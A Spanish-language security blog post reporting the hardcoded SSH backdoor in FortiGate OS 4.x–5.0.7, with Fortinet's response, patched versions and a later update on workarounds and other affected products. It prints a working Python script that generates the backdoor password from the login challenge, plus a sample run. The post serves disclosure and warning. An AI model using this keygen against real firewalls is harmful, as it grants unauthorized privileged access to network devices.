13 ene. 2016

Backdoor para acceder por SSH a FortiGate 4.x-5.0.7 (Actualizado)

Parece que Juniper no es el único que esconde tiene un backdoor para acceder a algunos de sus firewalls con una contraseña "hardcodeada". Recientemente se ha descubierto que los firewalls de Fortinet con la versión de Fortigate OS 4.x a la 5.0.7, también permiten el acceso con privilegios mediante SSH con una contraseña, eso sí, esta vez no es totalmente estática.

Al loggearnos con el usuario "Fortimanager_Access" se generará una clave numérica aleatoria que supuestamente el operador de Fortinet de turno usaba para generar una clave de acceso mediante un sencillo algoritmo.

Básicamente este algoritmo consiste en calcular un hash en SHA-1 cíclico combinando la cadena dinámica obtenida con otras fijas, como podéis ver a continuación:
#!/usr/bin/env python

import sys
import base64
import hashlib

n = sys.argv[1]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
print h
Si probáis este sencillo script la contraseña de la sesión SSH sería por ejemplo:
python fortigate.py 1759853112
AK1AAAAAAAAAAAAAAAAN5CosnWVyu+nGfiEcqJLjPgf3vM=
Además, hace unos días en Full Disclosure se publicó un script en Python que automatiza la apertura del shell mediante una conexión SSH con Paramiko, una implementación en Python del protocolo SSHv2.

Como podéis comprobar en la última imagen sacada de un usuario de Reddit y en otros foros ya se ha confirmado dicho backdoor, así que creo que no es necesario que os diga nada más sí tenéis un firewall Fortigate sin actualizar... y mucho menos si tenéis SSH escuchando en un interfaz con una IP pública...
Fortinet ha reconocido la vulnerabilidad, ha aclarado que "no se trata de un backdoor sino de un error al momento de la autenticación" y recomienda la actualización inmediata de su sistema operativo a la versión 5.0.8 o superior.

Han publicado un informe donde informan de que la vulnerabilidad a la que se está haciendo referencia ya fue identificada internamente y solucionada en 2014. Esta vulnerabilidad afecta a todas las versiones de Fortigate, desde 4.x hasta 5.0.7, sin embargo, tanto la versión 4.3.17 FortiOS como la 5.0.8 están disponibles desde julio de 2014. Cualquier usuario con una versión igual o superior a las dadas estará protegido de esta vulnerabilidad.

Actualización 22/01/2016

La empresa ha proporcionado una solución manual para los dispositivos afectados que no pueden actualizarse inmediatamente. Esta solución consiste principalmente en desactivar el acceso SSH acceso a los dispositivos y usar la interface de administración basada en Web.

Además, la compañía comenzó a investigar si el mismo problema también existe en otros productos y encontraron que algunas versiones de FortiSwitch, FortiAnalyzer y FortiCache que también se ven afectados: "Estas versiones tienen el mismo problema de autenticación que fue divulgado en versiones heredadas de FortiOS", dijo la empresa en un nuevo blog.

Fuente: HackPlayers y RedesZone

0 comentarios:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info
Si vas a dejar una consulta, procura tener habilitado tu perfil en Blogger o deja una forma de contacto.

Gracias por comentar!